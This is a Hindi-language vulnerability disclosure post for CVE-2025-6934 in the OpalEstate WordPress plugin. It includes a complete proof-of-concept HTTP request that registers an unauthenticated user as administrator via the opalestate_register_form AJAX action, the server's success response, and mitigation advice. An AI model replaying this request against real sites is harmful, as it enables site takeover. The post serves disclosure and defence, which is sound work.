🚨 WordPress OpalEstate प्लगइन - बिना प्रमाणीकरण के विशेषाधिकार वृद्धि भेद्यता

🔎 विवरण

WordPress के लिए OpalEstate प्लगइन में इसके AJAX पंजीकरण हैंडलर में एक गंभीर भेद्यता है, जो बिना प्रमाणीकरण वाले उपयोगकर्ताओं को व्यवस्थापक के रूप में पंजीकरण करने की अनुमति देती है।

समस्या opalestate_register_form AJAX एक्शन में role पैरामीटर के असुरक्षित हैंडलिंग में है, जो admin-ajax.php के माध्यम से सार्वजनिक रूप से उजागर होता है। एक वैध nonce वाला हमलावर केवल role=administrator फ़ील्ड सबमिट करके विशेषाधिकार बढ़ा सकता है, जिसके परिणामस्वरूप पूरी साइट से समझौता हो जाता है।

CVE ID: CVE-2025-6934 CVSS Score: 9.8 (गंभीर) प्रकाशित: 30 जून, 2025

📋 असुरक्षित एंडपॉइंट / POC

POST /wordpress/wp-admin/admin-ajax.php HTTP/1.1 Host: localhost Content-Length: 231 sec-ch-ua-platform: "Windows" Accept-Language: en-US,en;q=0.9 sec-ch-ua: "Chromium";v="133", "Not(A:Brand";v="99" sec-ch-ua-mobile: ?0 X-Requested-With: XMLHttpRequest User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.0.0 Safari/537.36 Accept: application/json, text/javascript, /; q=0.01 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Origin: http://localhost Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: http://localhost/wordpress/?page_id=16 Accept-Encoding: gzip, deflate, br Cookie: wp-settings-time-1=1750938057; wp-settings-1=libraryContent%3Dbrowse; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; kawuda_cookie=1751024383267404614; PHPSESSID=rsbi6r8gs523c35v319f1jf4tt Connection: keep-alive

username=mrjtest&email=mrjtest%40gmail.com&password=123&password1=123&role=administrator&confirmed_register=on&opalestate-register-nonce=db20fa048c&_wp_http_referer=%2Fwordpress%2F%3Fpage_id%3D16&ajax=1&action=opalestate_register_form

प्रतिक्रिया

HTTP/1.1 200 OK Date: Wed, 02 Jul 2025 14:19:23 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.2.12 X-Powered-By: PHP/8.2.12 Expires: Wed, 11 Jan 1984 05:00:00 GMT Cache-Control: no-cache, must-revalidate, max-age=0, no-store, private Pragma: no-cache Content-Length: 53 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/json; charset=UTF-8

{"status":true,"redirect":"/wordpress/?page_id=16"}

प्रभाव

• WordPress साइट का पूर्ण अधिग्रहण
• बिना प्रमाणीकरण के व्यवस्थापक खाता निर्माण
• स्थायी बैकडोर पहुंच
• विशेषाधिकार श्रृंखलाकरण और प्लगइन/थीम शोषण की संभावना

🛡️ शमन

• उपयोगकर्ता-नियंत्रित इनपुट से role पैरामीटर को हटाएं या sanitize करें।
• सर्वर-साइड पर भूमिका असाइनमेंट को बाध्य करें (उदा., केवल subscriber)।
• लॉक की गई भूमिकाओं के साथ wp_insert_user() या wp_create_user() का उपयोग करें।
• संवेदनशील कार्रवाइयों को संसाधित करने से पहले उपयोगकर्ता क्षमताओं को सत्यापित करें।
• प्लगइन को पैच करें या यदि आवश्यक न हो तो AJAX पंजीकरण अक्षम करें।

द्वारा MRJ HAXCORE